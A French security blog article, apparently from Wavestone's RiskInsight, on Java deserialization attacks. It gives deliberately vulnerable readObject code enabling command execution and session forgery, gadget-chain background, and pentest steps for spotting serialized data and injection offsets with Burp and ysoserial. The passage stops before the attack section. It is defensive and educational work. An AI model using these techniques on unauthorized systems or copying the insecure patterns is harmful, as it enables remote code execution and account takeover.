					<description><![CDATA[<p>Introduction La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications. &#160; Exemple de sérialisation d&#8217;une variable...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/07/techniques-outils-deserialisation-java/">Techniques et outils d’attaque sur les moteurs de désérialisation (Java)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<figure id="post-15730 media-15730" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15730 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1.png" alt="" width="640" height="155" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1-437x106.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I1-71x17.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: justify;"></div>
<div style="text-align: justify;">
<h1>Introduction</h1>
</div>
<div style="text-align: justify;">La sérialisation consiste à transformer un objet applicatif en un format de données pouvant être restauré ultérieurement. Ce procédé est utilisé pour sauvegarder des objets ou les envoyer dans le cadre de communications.</div>
<div style="text-align: justify;"></div>
<figure id="post-15732 media-15732" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15732 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2.png" alt="" width="640" height="314" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2-389x191.png 389w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I2-71x35.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
<div style="text-align: justify;">Exemple de sérialisation d&rsquo;une variable de type <i>String</i> en Java:</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc11">String</span> <span class="sc11">name</span> <span class="sc10">=</span> <span class="sc6">« Wavestone »</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">FileOutputStream</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">FileOutputStream</span><span class="sc10">(</span><span class="sc6">« file.bin »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectOutputStream</span> <span class="sc11">out</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectOutputStream</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">writeObject</span><span class="sc10">(</span><span class="sc11">name</span><span class="sc10">);</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier <b>file.bin</b> contenant l’objet name sérialisé a cette forme :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">AC ED 00 05 74 00 09 <span class="w-grepped">57 61 76 65 73 74 6f 6e 65</span> &#8230;.t..<span class="w-grepped">Wavestone</span></span></div>
<div style="text-align: justify;"></div>
<ul>
<li>La chaîne commence par “<b>AC ED</b>” – il s’agit du code hexadécimal identifiant la donnée sérialisée, toutes les données sérialisées commencent par cette valeur.</li>
<li>Le protocole de sérialisation version “<b>00 05</b>”.</li>
<li>Le type de variable String est identifié par le code “<b>74</b>”.</li>
<li>Puis la taille de la variable “<b>00 09</b>”.</li>
<li>Et finalement la variable en elle-même.</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La désérialisation est l&rsquo;inverse de ce processus, prenant des données structurées à partir d&rsquo;un format et les reconstruisant en un objet. Le format de données le plus répandu pour la sérialisation des données est JSON (dans le passé, le format XML était majoritaire).</div>
<div style="text-align: justify;">Pour reprendre l’exemple en Java sus-cité :</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc11">FileInputStream</span> <span class="sc11">file</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">FileInputStream</span><span class="sc10">(</span><span class="sc6">« file.bin »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectInputStream</span> <span class="sc11">out</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc11">file</span><span class="sc10">);</span></span></span><span class="w-code"><span class="sc11">name</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">String</span><span class="sc10">)</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">readObject</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">System</span><span class="sc10">.</span><span class="sc11">out</span><span class="sc10">.</span><span class="sc11">println</span><span class="sc10">(</span><span class="sc11">name</span><span class="sc10">);</span></span></div>
<div style="text-align: justify;">Le résultat dans la console sera donc</div>
<div></div>
<div style="text-align: justify;"><span class="w-code">Wavestone</span></div>
<div></div>
<div style="text-align: justify;">La fonction <i>readObject </i>est appelée pour désérialiser l&rsquo;objet (à l&rsquo;aide de <i>ObjectInputStream</i>) &#8211; et le convertir en String.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La désérialisation a de multiples cas d’usage pour les développeurs, par exemple (ici en Java) :</div>
<div style="text-align: justify;">
<ul>
<li>Désérialiser un objet “<i>SQLConnection</i>” pour se connecter à une base de données</li>
<li>Désérialiser un objet “<i>User</i>” pour récupérer des informations stockées dans une base de données en exécutant des requêtes SQL spécifiques</li>
<li>Désérialiser un objet “<i>LogFile</i>” pour restaurer les données précédemment enregistrées sur un profil utilisateur</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><b>De nombreux langages de programmation offrent une capacité native de sérialisation</b> des objets. Ces formats natifs offrent généralement davantage de fonctionnalités que JSON ou XML, y compris la personnalisation du processus de sérialisation.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Malheureusement, les fonctionnalités de ces <b>mécanismes de désérialisation natifs peuvent être détournées à des fins malveillantes</b> lorsque la donnée à désérialiser est en fait une charge utile forgée spécifiquement par un attaquant pour être interprété comme du code à exécuter.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Les attaques contre les moteurs de désérialisation permettent notamment des attaques par <b>déni de service</b>, de <b>contournement de contrôle d&rsquo;accès</b> et <b>d&rsquo;exécution de code à distance</b> (RCE).</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h2>Exemple d’attaque : RCE</h2>
</div>
<div style="text-align: justify;">Cet exemple de code récupère un paramètre appelé <i>csrfValue</i>, qui est un jeton anti-CSRF présent sur une application web, envoyé à l’application sous forme de paramètre HTTP GET.</div>
<div style="text-align: justify;">Pour cela, le paramètre est récupéré sous forme de String puis converti en <i>ByteArrayInputStream </i>et lu via la fonction <i>readObject</i>() pour être désérialisé.</div>
<div></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc11">String</span> <span class="sc11">parameterValue</span> <span class="sc10">=</span> <span class="sc11">request</span><span class="sc10">.</span><span class="sc11">getParameter</span><span class="sc10">(</span><span class="sc6">« csrfValue »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">byte</span><span class="sc10">[]</span> <span class="sc11">csrfBytes</span> <span class="sc10">=</span><span class="sc11">DatatypeConverter</span><span class="sc10">.</span><span class="sc11">parseBase64Binary</span><span class="sc10">(</span><span class="sc11">parameterValue</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ByteArrayInputStream</span> <span class="sc11">bis</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ByteArrayInputStream</span><span class="sc10">(</span><span class="sc11">csrfBytes</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">ObjectInput</span> <span class="sc11">in</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc11">bis</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">csrfToken</span> <span class="sc10">=</span> <span class="sc10">(</span><span class="sc11">CSRF</span><span class="sc10">)</span><span class="sc11">in</span><span class="sc10">.</span><span class="sc11">readObject</span><span class="sc10">();</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Cette fonction est <b>potentiellement vulnérable</b>: en effet, la fonction <i>readObject</i>() est appelé sur des valeurs <b>envoyées par l’utilisateur</b> en tant que paramètre <i>csrfValue </i>de la requête HTTP.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">En effet, la fonction <i>readObject</i>() a pour spécificité de pouvoir être implémentée dans les classes <i>Serializable </i>qui en ont besoin pour lire un objet sérialisé.</div>
<div style="text-align: justify;">Imaginons par exemple que la classe CSRF vue plus haut contienne pour une raison obscure ce morceau de code :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">CSRF</span> <span class="sc5">implements</span> <span class="sc11">Serializable</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc11">String</span> <span class="sc11">command</span> <span class="sc10">=</span> <span class="sc6">« ls »</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">execCommand</span><span class="sc10">(){</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc11">Runtime</span><span class="sc10">.</span><span class="sc11">getRuntime</span><span class="sc10">().</span><span class="sc11">exec</span><span class="sc10">(</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">command</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc16">private</span> <span class="sc16">void</span> <span class="sc11">readObject</span><span class="sc10">(</span><span class="sc11">java</span><span class="sc10">.</span><span class="sc11">io</span><span class="sc10">.</span><span class="sc11">ObjectInputStream</span> <span class="sc11">in</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">IOException</span><span class="sc10">,</span> <span class="sc11">ClassNotFoundException</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">…</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">execCommand</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">L’attaquant n’aurait qu’à forger un objet CSRF sérialisé (récupéré par le code plus haut dans <i>csrfValue</i>) contenant un paramètre command contenant la commande de son choix pour exécuter du code arbitrairement sur le serveur.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">En effet :</div>
<div style="text-align: justify;">
<ul>
<li><i>ObjectInputStream </i>ne vérifie pas quelle classe est désérialisée</li>
<li>Il n’y a pas de liste blanche ou noire de classes autorisées à être désérialisées</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Ce cas de figure très facile à exploiter d’une implémentation de <i>readObject</i>() exécutant directement du code est toutefois très rare dans la réalité.</div>
<div style="text-align: justify;">Ce qui arrive le plus fréquemment est que l’attaquant trouve une fonction ou une classe vulnérable à la modification de ses paramètres, qui peut appeler une autre fonction ou instancier une autre classe dans son périmètre d’exécution.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Les classes et fonctions disponibles dans le périmètre d’exécution d’une application sont appelées « <b>gadget </b>». Suite à l’envoi d’une charge malveillante à un premier gadget appelé « <b>kick-off gadget</b> », une chaîne d’appels et d’invocation est lancée jusqu’à tomber sur un gadget qui est vulnérable à l’exécution de code arbitraire, appelé « <b>sink gadget </b>» :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15734 media-15734" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15734 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3.png" alt="" width="640" height="218" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3-437x149.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I3-71x24.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">De nombreux sink gadget existent dans les librairies de sérialisation/désérialisation standard, notamment :</div>
<div style="text-align: justify;">
<ul>
<li><b>Spring AOP </b>(dévoilé par Wouter Coekaerts en 2011)</li>
<li><b>Commons-ﬁleupload </b>(dévoilé par Arun Babu Neelicattu en 2013)</li>
<li><b>Groovy </b>(dévoilé par cpnrodzc7 / @frohoff en 2015)</li>
<li><b>Apache Commons-Collections</b> (dévoilé par @frohoff et @gebl en 2015)</li>
<li><b>Spring Beans</b> (dévoilé par @frohoff et @gebl en 2015)</li>
<li><b>Serial DoS</b> (dévoilé par Wouter Coekaerts en 2015)</li>
<li><b>SpringTx</b> (dévoilé par @zerothinking en 2016)</li>
<li><b>JDK7</b> (dévoilé par @frohoff en 2016)</li>
<li><b>Beanutils</b> (dévoilé par @frohoff en 2016)</li>
<li><b>Hibernate, MyFaces, C3P0, net.sf.json, ROME</b> (dévoilé par M. Bechler en 2016)</li>
<li><b>Beanshell </b>(dévoilé par @pwntester et @cschneider4711 en 2016)</li>
<li><b>JDK7 Rhino </b>(dévoilé par @matthias_kaiser en 2016)</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Des <b>outils générant des charges utiles spécialement conçues pour attaquer des gadgets</b> affectés par des vulnérabilités publiques dans les librairies les plus utilisées existent, notamment le très complet <b>ysoserial</b>, développé par Frohoff : <a href="https://github.com/frohoff/ysoserial">https://github.com/frohoff/ysoserial</a>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h2>Exemple d’attaque : Compromission de compte utilisateur</h2>
</div>
<div style="text-align: justify;">Si un attaquant contrôle les données qui sont désérialisée par une application, il a alors une influence sur les variables en mémoire et les objets applicatifs. Il peut alors influencer le flux de code utilisant ces variables et ces objets.</div>
<div style="text-align: justify;">Voyons un exemple d’attaque sur un morceau de code utilisant la désérialisation en Java :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">Session</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc11">String</span> <span class="sc11">username</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">boolean</span> <span class="sc11">loggedIn</span><span class="sc10">;</span></span></span><span class="w-code"><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">loadSession</span><span class="sc10">(</span><span class="sc16">byte</span><span class="sc10">[]</span> <span class="sc11">sessionData</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">Exception</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">ObjectInputStream</span> <span class="sc11">ois</span> <span class="sc10">=</span> <span class="sc5">new</span> <span class="sc11">ObjectInputStream</span><span class="sc10">(</span><span class="sc5">new</span> <span class="sc11">ByteArrayInputStream</span><span class="sc10">(</span><span class="sc11">sessionData</span><span class="sc10">));</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">username</span> <span class="sc10">=</span> <span class="sc11">ois</span><span class="sc10">.</span><span class="sc11">readUTF</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc5">this</span><span class="sc10">.</span><span class="sc11">loggedIn</span> <span class="sc10">=</span> <span class="sc11">ois</span><span class="sc10">.</span><span class="sc11">readBoolean</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La méthode <i>loadSession </i>accepte un tableau d’octets en tant que paramètre et désérialise une chaîne et un booléen de ce tableau d&rsquo;octets dans les propriétés <i>username </i>et <i>loggedIn </i>de l&rsquo;objet.</div>
<div style="text-align: justify;">Si un attaquant peut contrôler le contenu du tableau d’octets <i>sessionData </i>transmis à cette méthode, il peut alors contrôler les propriétés de cet objet : <i>username </i>et <i>loggedIn</i>.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Voici un exemple d&rsquo;utilisation de cet objet <i>Session </i>dans une fonction de changement de mot de passe :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">public</span> <span class="sc16">class</span> <span class="sc11">UserSettingsController</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">public</span> <span class="sc16">void</span> <span class="sc11">updatePassword</span><span class="sc10">(</span><span class="sc11">Session</span> <span class="sc11">session</span><span class="sc10">,</span> <span class="sc11">String</span> <span class="sc11">newPassword</span><span class="sc10">)</span> <span class="sc5">throws</span> <span class="sc11">Exception</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">if</span><span class="sc10">(</span><span class="sc11">session</span><span class="sc10">.</span><span class="sc11">loggedIn</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">UserModel</span><span class="sc10">.</span><span class="sc11">updatePassword</span><span class="sc10">(</span><span class="sc11">session</span><span class="sc10">.</span><span class="sc11">username</span><span class="sc10">,</span> <span class="sc11">newPassword</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span> <span class="sc5">else</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">throw</span> <span class="sc5">new</span> <span class="sc11">Exception</span><span class="sc10">(</span><span class="sc6">« Error: User not logged in. »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Si le paramètre <i>loggedIn </i>de l’objet session vaut 1, le mot de passe de l&rsquo;utilisateur dont le <i>username </i>correspond au paramètre idoine de l’objet session est mis à jour avec la valeur <i>newPassword </i>donnée.</div>
<div style="text-align: justify;">Ici, si l’attaquant peut contrôler le contenu du tableau d’octets <i>sessionData </i>alors il pourrait changer le mot de passe de n’importe quel utilisateur !</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">C’est un exemple simple de « <b>Property Oriented Programming Gadget</b> », un morceau de code sur lequel l’attaquant peut agir non pas en direct mais via les propriétés d’un objet.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Un point important à retenir de cet exemple est qu&rsquo;<b>un exploit de désérialisation n&rsquo;implique pas forcément l&rsquo;envoi de classes ou de code</b> au serveur à exécuter.</div>
<div style="text-align: justify;">L’attaquant envoie simplement des données qui seront intégrées dans propriétés des classes dont le serveur a déjà connaissance afin de manipuler le code existant traitant de ces propriétés.</div>
<div style="text-align: justify;"><b>Un exploit réussi repose donc énormément sur la connaissance du code</b> qui peut être manipulé par désérialisation. D’où beaucoup de difficultés à exploiter les vulnérabilités de type désérialisation malgré l’impact parfois colossal de ce type de failles.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h1>Après la théorie, la pratique</h1>
</div>
<div style="text-align: justify;">Maintenant que vous savez tout (ou presque) sur la sérialisation/désérialisation Java et ses faiblesses, passons à la pratique :</div>
<div style="text-align: justify;">
<ol>
<li>Comment <b>trouver les fonctions utilisant la désérialisation</b> lors d’un test d&rsquo;intrusion web et les librairies utilisées ?</li>
<li>Comment <b>attaquer ces fonctions</b> et potentiellement réussir à exécuter du code sur le serveur ?</li>
</ol>
</div>
<div style="text-align: justify;">
<h2>Trouver les fonctions à attaquer</h2>
</div>
<div style="text-align: justify;">
<h3>Méthode 1 : A la main, pour plus de finesse</h3>
</div>
<div style="text-align: justify;">La première étape de l’audit consiste à identifier l’utilisation de la désérialisation dans l’application auditée. Pour cela, différentes méthodes sont possibles :</div>
<div style="text-align: justify;">
<ul>
<li><b>Chercher la séquence hexadécimale</b> suivante dans les transactions (capturées par burp) entre votre machine et le serveur : <i>0xAC ED</i>.
<ul>
<li>Cette séquence de 2 octets est appelée « <b>magic number</b> » et est présente au début de chaque objet sérialisé. Elle est suivie du numéro de version, souvent 00 05.</li>
<li>Attention : Parfois, les objets sérialisés sont en plus encodés en base64, la séquence <i>0xAC ED</i> devient alors <i>rO0</i></li>
</ul>
</li>
</ul>
<ul>
<li><b>Chercher des noms de classes Java</b> dans les transactions, tels que <i>java.rmi.dgc.Lease</i>.
<ul>
<li>Dans certains cas, les noms de classe Java peuvent apparaître dans un autre format commençant par un « <b>L</b> », se terminant par un « <b>;</b> » et utilisant des barres obliques pour séparer les parties de l&rsquo;espace de noms et le nom de la classe (par exemple, « <i>Ljava / rmi / dgc / VMID; »</i>).</li>
<li>En raison de la spécification du format de sérialisation, d&rsquo;autres chaînes peuvent être présentes, telles que « <b>sr</b> » pouvant représenter un objet (TC_OBJECT) suivi de sa description de classe (TC_CLASSDESC) ou « <b>xp</b> » pouvant indiquer la fin des annotations de classe, (TC_ENDBLOCKDATA) pour une classe qui n&rsquo;a pas de super classe (TC_NULL).</li>
</ul>
</li>
</ul>
<ul>
<li><b>Chercher l&rsquo;entête Content-Type </b>suivant : application/x-java-serialized-object</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Après avoir identifié l&rsquo;utilisation de données sérialisées, il faut <b>identifier l’offset dans ces données où il est possible d’injecter une charge utile</b>.</div>
<div style="text-align: justify;">La cible doit appeler <i>ObjectInputStream.readObject</i> pour désérialiser et instancier un objet. Toutefois, elle peut appeler d&rsquo;autres méthodes de <i>ObjectInputStream</i>, telles que <i>readInt </i>qui lira simplement un entier à 4 octets dans le stream. La méthode <i>readObject </i>lit les types de contenu suivants à partir d&rsquo;un flux de sérialisation :</div>
<div style="text-align: justify;">
<ul>
<li>0x70 – TC_NULL</li>
<li>0x71 – TC_REFERENCE</li>
<li>0x72 – TC_CLASSDESC</li>
<li>0x73 – TC_OBJECT</li>
<li>0x74 – TC_STRING</li>
<li>0x75 – TC_ARRAY</li>
<li>0x76 – TC_CLASS</li>
<li>0x7B – TC_EXCEPTION</li>
<li>0x7C – TC_LONGSTRING</li>
<li>0x7D – TC_PROXYCLASSDESC</li>
<li>0x7E – TC_ENUM</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dans les cas les plus simples, la première chose lue dans le flux de sérialisation est directement l’objet à désérialiser, et nous pouvons donc insérer notre charge directement après l&rsquo;en-tête de sérialisation à 4 octets.</div>
<div style="text-align: justify;">Nous pouvons identifier ces cas en regardant les cinq premiers octets du flux de sérialisation. <b>Si ces cinq octets sont un en-tête de sérialisation à quatre octets</b> (0xAC ED 00 05) <b>suivi d&rsquo;une des valeurs répertoriées ci-dessus</b>, nous pouvons attaquer la cible en envoyant notre propre en-tête de sérialisation à quatre octets suivis d&rsquo;un objet malveillant (la charge).</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Dans d&rsquo;autres cas, l&rsquo;en-tête de sérialisation à quatre octets sera <b>probablement suivi d&rsquo;un élément TC_BLOCKDATA</b> (0x77) <b>ou d&rsquo;un élément TC_BLOCKDATALONG</b> (0x7A). Le premier consiste en un unique octet suivi des données de bloc et le second consiste en quatre octets suivi des données de bloc.</div>
<div style="text-align: justify;">Si les données sont suivies de l&rsquo;un des types d&rsquo;élément pris en charge par <i>readObject</i>, nous pouvons alors injecter une charge utile après les données de bloc.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Nick Bloor a écrit un outil, <b><a href="https://github.com/NickstaDB/SerializationDumper" target="_blank" rel="noopener">SerializationDumper</a></b>, qui permet de faciliter cette analyse. Voici un exemple d’utilisation :</div>
<div style="text-align: justify;">
<figure id="post-15736 media-15736" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15736 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4.png" alt="" width="574" height="198" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4.png 574w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I4-71x24.png 71w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<div style="text-align: justify;">Dans cet exemple, le flux contient un TC_BLOCKDATA suivi d&rsquo;un TC_STRING qui peut être remplacé par une charge utile.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Méthode 2 : Automatiquement pour plus d&rsquo;exhaustivité</h3>
</div>
<div style="text-align: justify;">Pour détecter des fonctions utilisant la désérialisation de façon <b>automatisée</b>, il est aussi possible d’utiliser l’extension <b><a href="https://github.com/federicodotta/Java-Deserialization-Scanner/" target="_blank" rel="noopener">Burp Java Deserialization Scanner</a></b> en tant que scanner passif, scanner actif, ou pour tester une fonction précise.</div>
<div style="text-align: justify;">Les librairies vulnérables actuellement prises en charge par l’outil sont :</div>
<div style="text-align: justify;">
<ul>
<li>Apache Commons Collections 3 (up to 3.2.1)</li>
<li>Apache Commons Collections 4 (up to 4.4.0)</li>
<li>Spring (up to 4.2.2)</li>
<li>Java 6 and Java 7 (up to Jdk7u21)</li>
<li>Hibernate 5</li>
<li>JSON</li>
<li>Rome</li>
<li>Java 8 (up to Jdk8u20)</li>
<li>Apache Commons BeanUtils</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Pour utiliser la fonction de scanner passif ou actif, il suffit d’aller dans l’onglet correspondant de Burp et attendre l’apparition d’éventuelles vulnérabilités :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15738 media-15738" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15738 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5.png" alt="" width="640" height="293" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5-417x191.png 417w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I5-71x33.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Pour tester une fonction précise, il faut dans un premier temps intercepter une requête dans Burp, puis réaliser un clic droit et l’envoyer à Java DS :</div>
<div style="text-align: justify;">
<figure id="post-15740 media-15740" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15740 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6.png" alt="" width="400" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I6-54x39.png 54w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>L’outil permet de déterminer les charges utiles (gadgets) qui semblent fonctionner, donc de deviner les librairies utilisées par l’application pour la désérialisation:</p>
<figure id="post-15742 media-15742" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15742 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7.png" alt="" width="640" height="371" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-329x191.png 329w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I7-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>A noter</h3>
</div>
<div style="text-align: justify;">Le plug-in <b>Java DS</b> repose sur un outil intégré de génération de charges utiles (gadgets) open source : <b>ysoserial</b>. Il est préférable d’utiliser la dernière version de l’outil, car elle inclut les types de charge les plus récents en fonction des vulnérabilités découvertes sur les librairies de sérialisation.</div>
<div style="text-align: justify;">Une fois le projet créé, n’oubliez donc pas de modifier le plug-in Java DS pour qu&rsquo;il pointe vers le fichier jar <b>ysoserial </b>que vous aurez préalablement téléchargé :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15744 media-15744" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15744 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8.png" alt="" width="640" height="194" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8-437x132.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/10/I8-71x22.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h2>Attaquer les fonctions utilisant la désérialisation</h2>
</div>
